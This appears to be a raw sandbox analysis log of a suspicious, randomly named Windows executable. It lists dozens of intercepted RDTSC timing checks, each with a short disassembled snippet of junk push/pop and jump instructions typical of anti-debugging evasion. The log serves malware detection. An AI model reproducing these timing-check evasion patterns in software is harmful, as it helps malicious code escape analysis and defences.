Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: B6B837 second address: B6B860 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6ACBFEA07h 0x00000007 je 00007FD6ACBFE9F6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jg 00007FD6ACBFE9FCh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BF7DC5 second address: BF7DC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BF7DC9 second address: BF7DDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD6ACBFE9FEh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BFCAC8 second address: BFCACE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BFCACE second address: BFCAD4 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BFCAD4 second address: BFCAF6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007FD6ACBE62B6h 0x00000009 jmp 00007FD6ACBE62BDh 0x0000000e jg 00007FD6ACBE62B6h 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 pop edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BFCC7A second address: BFCCA2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FD6ACBFEA02h 0x0000000b jo 00007FD6ACBFE9FCh 0x00000011 jc 00007FD6ACBFE9F6h 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BFCCA2 second address: BFCCA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BFCF5D second address: BFCF90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FD6ACBFE9F6h 0x0000000a jmp 00007FD6ACBFEA08h 0x0000000f popad 0x00000010 pop edi 0x00000011 jbe 00007FD6ACBFEA06h 0x00000017 pushad 0x00000018 jl 00007FD6ACBFE9F6h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BFD0CC second address: BFD0D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BFD0D8 second address: BFD0E2 instructions: 0x00000000 rdtsc 0x00000002 js 00007FD6ACBFE9F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C0009E second address: C000C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6ACBE62C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jg 00007FD6ACBE62B8h 0x0000000f popad 0x00000010 push ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BFF85A second address: BFF85F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BFF85F second address: BFF87E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD6ACBE62C0h 0x00000009 pop edi 0x0000000a jc 00007FD6ACBE62BEh 0x00000010 push edx 0x00000011 pop edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BFF9F7 second address: BFF9FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BFF9FB second address: BFFA03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BFFA03 second address: BFFA20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007FD6ACBFE9F6h 0x0000000a jmp 00007FD6ACBFEA03h 0x0000000f rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BFFA20 second address: BFFA3C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6ACBE62C2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C05605 second address: C0562D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 jmp 00007FD6ACBFEA05h 0x0000000e popad 0x0000000f pushad 0x00000010 jnp 00007FD6ACBFE9FCh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C0562D second address: C05645 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD6ACBE62C0h 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C05645 second address: C05649 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C03EA2 second address: C03EA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C03EA6 second address: C03EAA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C03EAA second address: C03EB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FD6ACBE62B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C03EB6 second address: C03EBC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C03EBC second address: C03EC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C03EC2 second address: C03EC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C03EC6 second address: C03ECC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C04188 second address: C04190 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C04190 second address: C04194 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C045CE second address: C045D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C045D2 second address: C045D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C045D6 second address: C045E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FD6ACBFE9F6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C045E2 second address: C045EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 je 00007FD6ACBE62B6h 0x0000000c rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C045EE second address: C045F4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C0473B second address: C04742 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C0B157 second address: C0B15B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C0B90A second address: C0B91B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6ACBE62BBh 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C0B91B second address: C0B920 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C0BC43 second address: C0BC4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C0BC4A second address: C0BC56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FD6ACBFE9F6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C0BF0C second address: C0BF10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C0BF10 second address: C0BF14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C0BF14 second address: C0BF1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C0C1A0 second address: C0C1BA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnc 00007FD6ACBFE9F6h 0x0000000d jl 00007FD6ACBFE9F6h 0x00000013 push edx 0x00000014 pop edx 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C0C1BA second address: C0C1D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD6ACBE62C6h 0x00000009 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C0C1D4 second address: C0C1E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push ebx 0x00000008 jo 00007FD6ACBFE9FCh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C0C4BB second address: C0C4C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C0FBBD second address: C0FBCF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push esi 0x0000000a pop esi 0x0000000b jng 00007FD6ACBFE9F6h 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C0FBCF second address: C0FBD5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C0FBD5 second address: C0FBF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD6ACBFEA09h 0x00000009 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C13F33 second address: C13F42 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C13F42 second address: C13F57 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FD6ACBFE9F6h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d js 00007FD6ACBFE9F6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C13F57 second address: C13F5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C13F5C second address: C13F66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FD6ACBFE9F6h 0x0000000a rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C13F66 second address: C13F6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C13F6A second address: C13F73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C170B7 second address: C170BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C170BD second address: C170C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C173B1 second address: C173B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C173B6 second address: C173BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C173BB second address: C17402 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jnp 00007FD6ACBE62B6h 0x0000000c jmp 00007FD6ACBE62BDh 0x00000011 popad 0x00000012 jo 00007FD6ACBE62BAh 0x00000018 pushad 0x00000019 popad 0x0000001a push esi 0x0000001b pop esi 0x0000001c pop edx 0x0000001d pop eax 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FD6ACBE62C7h 0x00000025 jg 00007FD6ACBE62B8h 0x0000002b rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C1757E second address: C17582 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C17582 second address: C17588 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C1EB66 second address: C1EB6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C1EB6B second address: C1EB9F instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FD6ACBE62B8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007FD6ACBE62BAh 0x00000010 pushad 0x00000011 js 00007FD6ACBE62B6h 0x00000017 jmp 00007FD6ACBE62C1h 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f push ebx 0x00000020 pop ebx 0x00000021 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C1EB9F second address: C1EBAD instructions: 0x00000000 rdtsc 0x00000002 jng 00007FD6ACBFE9F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C1EBAD second address: C1EBB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C1ECCD second address: C1ECFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD6ACBFEA01h 0x00000009 push esi 0x0000000a pop esi 0x0000000b jmp 00007FD6ACBFE9FFh 0x00000010 popad 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 pop edx 0x00000015 push eax 0x00000016 push edx 0x00000017 push esi 0x00000018 pop esi 0x00000019 push esi 0x0000001a pop esi 0x0000001b rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C1ECFE second address: C1ED0B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push edx 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C1EE59 second address: C1EE8F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6ACBFEA07h 0x00000007 jmp 00007FD6ACBFE9FBh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jne 00007FD6ACBFE9FCh 0x00000014 pushad 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C1F152 second address: C1F161 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FD6ACBE62B6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C1F161 second address: C1F167 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C1F167 second address: C1F187 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FD6ACBE62C4h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C1F338 second address: C1F33C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C1F33C second address: C1F35C instructions: 0x00000000 rdtsc 0x00000002 jp 00007FD6ACBE62B6h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FD6ACBE62C2h 0x00000013 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C1F35C second address: C1F360 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C1F360 second address: C1F373 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edi 0x0000000c pop edi 0x0000000d push eax 0x0000000e pop eax 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C1FCEA second address: C1FCF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C1FCF0 second address: C1FCFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jc 00007FD6ACBE62BCh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C1E29A second address: C1E2A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C25F32 second address: C25F5A instructions: 0x00000000 rdtsc 0x00000002 jc 00007FD6ACBE62B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push esi 0x0000000c pop esi 0x0000000d jp 00007FD6ACBE62B6h 0x00000013 push edi 0x00000014 pop edi 0x00000015 jns 00007FD6ACBE62B6h 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 push edi 0x00000021 pop edi 0x00000022 jg 00007FD6ACBE62B6h 0x00000028 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C25F5A second address: C25F74 instructions: 0x00000000 rdtsc 0x00000002 je 00007FD6ACBFE9F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FD6ACBFE9FEh 0x00000011 rdtsc
